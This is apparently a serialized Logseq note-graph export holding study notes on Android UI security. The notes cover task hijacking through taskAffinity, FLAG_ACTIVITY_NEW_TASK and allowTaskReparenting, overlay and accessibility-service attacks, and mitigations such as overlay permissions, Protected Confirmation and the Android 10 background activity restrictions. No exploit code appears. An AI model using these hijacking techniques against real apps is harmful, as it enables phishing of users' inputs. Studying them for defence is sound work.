activitieslogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[727,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[727,logseq____&quot;^Flogseq____&quot;,728,536876194]],[logseq____&quot;^15logseq____&quot;,[727,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[727,logseq____&quot;^Vlogseq____&quot;,733,536876194]],[logseq____&quot;^15logseq____&quot;,[727,logseq____&quot;^Ulogseq____&quot;,689,536876282]],[logseq____&quot;^15logseq____&quot;,[727,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-4562-44d4-a980-8ed5f60d9f65logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[728,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Define victim activities in taskAffinity attributeslogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[728,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[728,logseq____&quot;^Flogseq____&quot;,719,536876194]],[logseq____&quot;^15logseq____&quot;,[728,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[728,logseq____&quot;^Vlogseq____&quot;,733,536876194]],[logseq____&quot;^15logseq____&quot;,[728,logseq____&quot;^Ulogseq____&quot;,689,536876282]],[logseq____&quot;^15logseq____&quot;,[728,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-de6a-480a-a0ff-15e3413a14dflogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[729,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Android Activity Stacklogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[729,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[729,logseq____&quot;^Flogseq____&quot;,723,536876194]],[logseq____&quot;^15logseq____&quot;,[729,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[729,logseq____&quot;^Vlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[729,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[729,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536876194]],[logseq____&quot;^15logseq____&quot;,[729,logseq____&quot;^Jlogseq____&quot;,[],536876194]],[logseq____&quot;^15logseq____&quot;,[729,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-8e72-46d5-a577-7571e3e3694alogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[730,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Attack option 1: `Intent.FLAG_ACTIVITY_NEW_TASK` with `startActivities` to start two apps (innocent-looking attacker app, attacker activity moved on top of victim task) =logseq____&gt; once victim is shown Attacker app is shown ![image.png](../assets/image_1740305328362_0.png)logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[730,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[730,logseq____&quot;^Flogseq____&quot;,727,536876194]],[logseq____&quot;^15logseq____&quot;,[730,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[730,logseq____&quot;^Vlogseq____&quot;,733,536876194]],[logseq____&quot;^15logseq____&quot;,[730,logseq____&quot;^Ulogseq____&quot;,689,536876282]],[logseq____&quot;^15logseq____&quot;,[730,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-9c43-49e1-bc27-d17a392ab10dlogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[731,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Apps do not consume touches when overlays of different apps obscure fieldlogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[731,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[731,logseq____&quot;^Flogseq____&quot;,737,536876194]],[logseq____&quot;^15logseq____&quot;,[731,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[731,logseq____&quot;^Vlogseq____&quot;,734,536876194]],[logseq____&quot;^15logseq____&quot;,[731,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[731,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-f340-430a-9a8d-1773b8fbc344logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[732,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Dedicatded settings dialogue to activate apps as ally servicelogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[732,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[732,logseq____&quot;^Flogseq____&quot;,741,536876194]],[logseq____&quot;^15logseq____&quot;,[732,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[732,logseq____&quot;^Vlogseq____&quot;,738,536876194]],[logseq____&quot;^15logseq____&quot;,[732,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[732,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-dff0-44a5-897c-fdbdd2723935logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[733,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Task Hijakinglogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[733,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[733,logseq____&quot;^Flogseq____&quot;,739,536876285]],[logseq____&quot;^15logseq____&quot;,[733,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[733,logseq____&quot;^Vlogseq____&quot;,729,536876194]],[logseq____&quot;^15logseq____&quot;,[733,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[733,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536876285]],[logseq____&quot;^15logseq____&quot;,[733,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536876285]],[logseq____&quot;^15logseq____&quot;,[733,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-7e68-4bc2-b062-8d07eff783calogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[734,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Android Mitigationslogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[734,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[734,logseq____&quot;^Flogseq____&quot;,738,536876194]],[logseq____&quot;^15logseq____&quot;,[734,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[734,logseq____&quot;^Vlogseq____&quot;,701,536876194]],[logseq____&quot;^15logseq____&quot;,[734,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[734,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536876194]],[logseq____&quot;^15logseq____&quot;,[734,logseq____&quot;^Jlogseq____&quot;,[],536876194]],[logseq____&quot;^15logseq____&quot;,[734,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-9081-41cb-b6a1-d89787e41713logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[735,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Default behaviour can be changed with flags in `startActivity`, e.g., how their activity is assigned to tasks (to, e.g., handle what \\logseq____&quot;back\\logseq____&quot; button does)logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[735,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[735,logseq____&quot;^Flogseq____&quot;,720,536876194]],[logseq____&quot;^15logseq____&quot;,[735,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[735,logseq____&quot;^Vlogseq____&quot;,729,536876194]],[logseq____&quot;^15logseq____&quot;,[735,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[735,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-d28a-40fb-aa87-37b015ebcd37logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[736,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Added permission types for overlays distinguishing between App and System Applogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[736,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[736,logseq____&quot;^Flogseq____&quot;,734,536876194]],[logseq____&quot;^15logseq____&quot;,[736,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[736,logseq____&quot;^Vlogseq____&quot;,734,536876194]],[logseq____&quot;^15logseq____&quot;,[736,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[736,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-201b-40f2-ac30-46d2a46dbe98logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[737,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`setHideOverlayWindows` (when `HIDE_OVERLAY_PERMISSION`) hides all application overlayslogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[737,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[737,logseq____&quot;^Flogseq____&quot;,736,536876194]],[logseq____&quot;^15logseq____&quot;,[737,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[737,logseq____&quot;^Vlogseq____&quot;,734,536876194]],[logseq____&quot;^15logseq____&quot;,[737,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[737,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-0d49-48f5-9e79-81a1cc5c236dlogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[738,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Attacks via Accessibility Featureslogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[738,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[738,logseq____&quot;^Flogseq____&quot;,702,536876194]],[logseq____&quot;^15logseq____&quot;,[738,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[738,logseq____&quot;^Vlogseq____&quot;,701,536876194]],[logseq____&quot;^15logseq____&quot;,[738,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[738,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536876194]],[logseq____&quot;^15logseq____&quot;,[738,logseq____&quot;^Jlogseq____&quot;,[],536876194]],[logseq____&quot;^15logseq____&quot;,[738,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-ecad-488f-b45c-b5a22cff6f76logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[739,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;~`launchMode=singleTask`: new task is created and activity is instanciated as root of task (only one instance can exist, route to existing one)logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[739,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[739,logseq____&quot;^Flogseq____&quot;,718,536876194]],[logseq____&quot;^15logseq____&quot;,[739,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[739,logseq____&quot;^Vlogseq____&quot;,729,536876194]],[logseq____&quot;^15logseq____&quot;,[739,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[739,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-18b2-45ee-9ba3-ed29e68516a3logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[740,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Attack option 2: `allowTaskReparenting` does not happen immediately =logseq____&gt; attacker behaves differently depending on whether he is already moved or notlogseq____&quot;,536876227]],[logseq____&quot;^15logseq____&quot;,[740,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[740,logseq____&quot;^Flogseq____&quot;,730,536876194]],[logseq____&quot;^15logseq____&quot;,[740,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[740,logseq____&quot;^Vlogseq____&quot;,733,536876194]],[logseq____&quot;^15logseq____&quot;,[740,logseq____&quot;^Ulogseq____&quot;,689,536876282]],[logseq____&quot;^15logseq____&quot;,[740,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876227]],[logseq____&quot;^15logseq____&quot;,[740,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-05b8-4ef8-9d67-802f3b996878logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[741,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Not constrained via classical sandboxinglogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[741,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[741,logseq____&quot;^Flogseq____&quot;,742,536876194]],[logseq____&quot;^15logseq____&quot;,[741,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[741,logseq____&quot;^Vlogseq____&quot;,738,536876194]],[logseq____&quot;^15logseq____&quot;,[741,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[741,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-2bdf-4a40-aac3-aebeac06f60blogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[742,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Accessibility features for disabled users: text-to-speech, cpationing services for hearing-impaired users, voice inputlogseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[742,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[742,logseq____&quot;^Flogseq____&quot;,738,536876194]],[logseq____&quot;^15logseq____&quot;,[742,logseq____&quot;^Xlogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[742,logseq____&quot;^Vlogseq____&quot;,738,536876194]],[logseq____&quot;^15logseq____&quot;,[742,logseq____&quot;^Ulogseq____&quot;,689,536876194]],[logseq____&quot;^15logseq____&quot;,[742,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb1dd7-987f-4c5a-b5ff-353a00f58576logseq____&quot;,536876194]],[logseq____&quot;^15logseq____&quot;,[743,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;## Protected Confirmationlogseq____&quot;,536876238]],[logseq____&quot;^15logseq____&quot;,[743,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876230]],[logseq____&quot;^15logseq____&quot;,[743,logseq____&quot;^Flogseq____&quot;,729,536876235]],[logseq____&quot;^15logseq____&quot;,[743,logseq____&quot;^Xlogseq____&quot;,689,536876230]],[logseq____&quot;^15logseq____&quot;,[743,logseq____&quot;^Vlogseq____&quot;,689,536876235]],[logseq____&quot;^15logseq____&quot;,[743,logseq____&quot;^Ulogseq____&quot;,689,536876231]],[logseq____&quot;^15logseq____&quot;,[743,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,2],536876238]],[logseq____&quot;^15logseq____&quot;,[743,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536876238]],[logseq____&quot;^15logseq____&quot;,[743,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb26e5-3769-4d7c-90ed-642387fb9aa4logseq____&quot;,536876230]],[logseq____&quot;^15logseq____&quot;,[744,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Trusted UI backed by Trustzonelogseq____&quot;,536876254]],[logseq____&quot;^15logseq____&quot;,[744,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876238]],[logseq____&quot;^15logseq____&quot;,[744,logseq____&quot;^Flogseq____&quot;,743,536876238]],[logseq____&quot;^15logseq____&quot;,[744,logseq____&quot;^Xlogseq____&quot;,689,536876238]],[logseq____&quot;^15logseq____&quot;,[744,logseq____&quot;^Vlogseq____&quot;,743,536876240]],[logseq____&quot;^15logseq____&quot;,[744,logseq____&quot;^Ulogseq____&quot;,689,536876239]],[logseq____&quot;^15logseq____&quot;,[744,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876254]],[logseq____&quot;^15logseq____&quot;,[744,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb26ed-8bd8-4a9d-8cb4-dc9d377a4b9elogseq____&quot;,536876238]],[logseq____&quot;^15logseq____&quot;,[745,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Makes use of cryptographic attestationlogseq____&quot;,536876268]],[logseq____&quot;^15logseq____&quot;,[745,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876254]],[logseq____&quot;^15logseq____&quot;,[745,logseq____&quot;^Flogseq____&quot;,744,536876254]],[logseq____&quot;^15logseq____&quot;,[745,logseq____&quot;^Xlogseq____&quot;,689,536876254]],[logseq____&quot;^15logseq____&quot;,[745,logseq____&quot;^Vlogseq____&quot;,743,536876254]],[logseq____&quot;^15logseq____&quot;,[745,logseq____&quot;^Ulogseq____&quot;,689,536876255]],[logseq____&quot;^15logseq____&quot;,[745,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876268]],[logseq____&quot;^15logseq____&quot;,[745,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb26f9-18a4-4761-87c0-515184fad566logseq____&quot;,536876254]],[logseq____&quot;^15logseq____&quot;,[748,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;### Background task activity restrictions (logseq____&gt;= Android 10)logseq____&quot;,536876307]],[logseq____&quot;^15logseq____&quot;,[748,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876288]],[logseq____&quot;^15logseq____&quot;,[748,logseq____&quot;^Flogseq____&quot;,733,536876290]],[logseq____&quot;^15logseq____&quot;,[748,logseq____&quot;^Xlogseq____&quot;,689,536876288]],[logseq____&quot;^15logseq____&quot;,[748,logseq____&quot;^Vlogseq____&quot;,729,536876290]],[logseq____&quot;^15logseq____&quot;,[748,logseq____&quot;^Ulogseq____&quot;,689,536876289]],[logseq____&quot;^15logseq____&quot;,[748,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;,logseq____&quot;^17logseq____&quot;,3],536876307]],[logseq____&quot;^15logseq____&quot;,[748,logseq____&quot;^Jlogseq____&quot;,[logseq____&quot;^14logseq____&quot;,[]],536876307]],[logseq____&quot;^15logseq____&quot;,[748,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb2729-7581-409d-800c-51c046468a84logseq____&quot;,536876288]],[logseq____&quot;^15logseq____&quot;,[749,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Needs one foreground activitylogseq____&quot;,536876326]],[logseq____&quot;^15logseq____&quot;,[749,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876308]],[logseq____&quot;^15logseq____&quot;,[749,logseq____&quot;^Flogseq____&quot;,748,536876308]],[logseq____&quot;^15logseq____&quot;,[749,logseq____&quot;^Xlogseq____&quot;,689,536876308]],[logseq____&quot;^15logseq____&quot;,[749,logseq____&quot;^Vlogseq____&quot;,748,536876314]],[logseq____&quot;^15logseq____&quot;,[749,logseq____&quot;^Ulogseq____&quot;,689,536876309]],[logseq____&quot;^15logseq____&quot;,[749,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876326]],[logseq____&quot;^15logseq____&quot;,[749,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb273c-b53b-4f73-9666-47da64510718logseq____&quot;,536876308]],[logseq____&quot;^15logseq____&quot;,[750,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;App has an activity in the back-stack of the forground tasklogseq____&quot;,536876348]],[logseq____&quot;^15logseq____&quot;,[750,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876329]],[logseq____&quot;^15logseq____&quot;,[750,logseq____&quot;^Flogseq____&quot;,749,536876329]],[logseq____&quot;^15logseq____&quot;,[750,logseq____&quot;^Xlogseq____&quot;,689,536876329]],[logseq____&quot;^15logseq____&quot;,[750,logseq____&quot;^Vlogseq____&quot;,748,536876329]],[logseq____&quot;^15logseq____&quot;,[750,logseq____&quot;^Ulogseq____&quot;,689,536876330]],[logseq____&quot;^15logseq____&quot;,[750,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876348]],[logseq____&quot;^15logseq____&quot;,[750,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb2757-a504-4d32-9dc1-2713e7487e96logseq____&quot;,536876329]],[logseq____&quot;^15logseq____&quot;,[751,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;App has an activity in the back-stack of an existing task in \\logseq____&quot;Recents\\logseq____&quot; screenlogseq____&quot;,536876367]],[logseq____&quot;^15logseq____&quot;,[751,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876351]],[logseq____&quot;^15logseq____&quot;,[751,logseq____&quot;^Flogseq____&quot;,750,536876351]],[logseq____&quot;^15logseq____&quot;,[751,logseq____&quot;^Xlogseq____&quot;,689,536876351]],[logseq____&quot;^15logseq____&quot;,[751,logseq____&quot;^Vlogseq____&quot;,748,536876351]],[logseq____&quot;^15logseq____&quot;,[751,logseq____&quot;^Ulogseq____&quot;,689,536876352]],[logseq____&quot;^15logseq____&quot;,[751,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876367]],[logseq____&quot;^15logseq____&quot;,[751,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb276a-334e-4fa2-b997-f314adef16a8logseq____&quot;,536876351]],[logseq____&quot;^15logseq____&quot;,[752,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;Activity was started recentlylogseq____&quot;,536876371]],[logseq____&quot;^15logseq____&quot;,[752,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876367]],[logseq____&quot;^15logseq____&quot;,[752,logseq____&quot;^Flogseq____&quot;,751,536876367]],[logseq____&quot;^15logseq____&quot;,[752,logseq____&quot;^Xlogseq____&quot;,689,536876367]],[logseq____&quot;^15logseq____&quot;,[752,logseq____&quot;^Vlogseq____&quot;,748,536876367]],[logseq____&quot;^15logseq____&quot;,[752,logseq____&quot;^Ulogseq____&quot;,689,536876368]],[logseq____&quot;^15logseq____&quot;,[752,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876371]],[logseq____&quot;^15logseq____&quot;,[752,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb277f-13e3-431c-817a-506751a389a7logseq____&quot;,536876367]],[logseq____&quot;^15logseq____&quot;,[753,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;App recently called `finish` on activitylogseq____&quot;,536876387]],[logseq____&quot;^15logseq____&quot;,[753,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876371]],[logseq____&quot;^15logseq____&quot;,[753,logseq____&quot;^Flogseq____&quot;,752,536876371]],[logseq____&quot;^15logseq____&quot;,[753,logseq____&quot;^Xlogseq____&quot;,689,536876371]],[logseq____&quot;^15logseq____&quot;,[753,logseq____&quot;^Vlogseq____&quot;,748,536876371]],[logseq____&quot;^15logseq____&quot;,[753,logseq____&quot;^Ulogseq____&quot;,689,536876372]],[logseq____&quot;^15logseq____&quot;,[753,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876387]],[logseq____&quot;^15logseq____&quot;,[753,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb278c-f7ab-439c-a442-aac41b3ef1d2logseq____&quot;,536876371]],[logseq____&quot;^15logseq____&quot;,[754,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;App has a service that is bound by the systemlogseq____&quot;,536876400]],[logseq____&quot;^15logseq____&quot;,[754,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876390]],[logseq____&quot;^15logseq____&quot;,[754,logseq____&quot;^Flogseq____&quot;,753,536876390]],[logseq____&quot;^15logseq____&quot;,[754,logseq____&quot;^Xlogseq____&quot;,689,536876390]],[logseq____&quot;^15logseq____&quot;,[754,logseq____&quot;^Vlogseq____&quot;,748,536876390]],[logseq____&quot;^15logseq____&quot;,[754,logseq____&quot;^Ulogseq____&quot;,689,536876391]],[logseq____&quot;^15logseq____&quot;,[754,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876400]],[logseq____&quot;^15logseq____&quot;,[754,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb27d0-cce0-420c-87bc-2ecea05d23e7logseq____&quot;,536876390]],[logseq____&quot;^15logseq____&quot;,[755,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;App has a service that is bound by different, but visible applogseq____&quot;,536876416]],[logseq____&quot;^15logseq____&quot;,[755,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876400]],[logseq____&quot;^15logseq____&quot;,[755,logseq____&quot;^Flogseq____&quot;,754,536876400]],[logseq____&quot;^15logseq____&quot;,[755,logseq____&quot;^Xlogseq____&quot;,689,536876400]],[logseq____&quot;^15logseq____&quot;,[755,logseq____&quot;^Vlogseq____&quot;,748,536876400]],[logseq____&quot;^15logseq____&quot;,[755,logseq____&quot;^Ulogseq____&quot;,689,536876401]],[logseq____&quot;^15logseq____&quot;,[755,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876416]],[logseq____&quot;^15logseq____&quot;,[755,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb27db-617a-403f-8a61-1e9d3bbad8dclogseq____&quot;,536876400]],[logseq____&quot;^15logseq____&quot;,[756,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;App receives a notification ((67b85581-3a7d-4f14-ae8e-16b0f60c05b3)) from system or different visible applogseq____&quot;,536876458]],[logseq____&quot;^15logseq____&quot;,[756,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876416]],[logseq____&quot;^15logseq____&quot;,[756,logseq____&quot;^Flogseq____&quot;,755,536876416]],[logseq____&quot;^15logseq____&quot;,[756,logseq____&quot;^Xlogseq____&quot;,689,536876416]],[logseq____&quot;^15logseq____&quot;,[756,logseq____&quot;^Vlogseq____&quot;,748,536876416]],[logseq____&quot;^15logseq____&quot;,[756,logseq____&quot;^Ulogseq____&quot;,398,536876425]],[logseq____&quot;^15logseq____&quot;,[756,logseq____&quot;^Ulogseq____&quot;,689,536876425]],[logseq____&quot;^15logseq____&quot;,[756,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ logseq____&quot;],536876458]],[logseq____&quot;^15logseq____&quot;,[756,logseq____&quot;^Hlogseq____&quot;,398,536876458]],[logseq____&quot;^15logseq____&quot;,[756,logseq____&quot;^;logseq____&quot;,logseq____&quot;~u67bb27ea-94e6-4e3a-af45-af50fa2fb258logseq____&quot;,536876416]],[logseq____&quot;^15logseq____&quot;,[757,logseq____&quot;^Qlogseq____&quot;,logseq____&quot;App receives a system broadcast where the app is expected to launch a UIlogseq____&quot;,536876474]],[logseq____&quot;^15logseq____&quot;,[757,logseq____&quot;^Ologseq____&quot;,logseq____&quot;^16logseq____&quot;,536876431]],[logseq____&quot;^15logseq____&quot;,[757,logseq____&quot;^Flogseq____&quot;,756,536876431]],[logseq____&quot;^15logseq____&quot;,[757,logseq____&quot;^Xlogseq____&quot;,689,536876431]],[logseq____&quot;^15logseq____&quot;,[757,logseq____&quot;^Vlogseq____&quot;,748,536876431]],[logseq____&quot;^15logseq____&quot;,[757,logseq____&quot;^Ulogseq____&quot;,689,536876462]],[logseq____&quot;^15logseq____&quot;,[757,logseq____&quot;^?logseq____&quot;,[logseq____&quot;^ 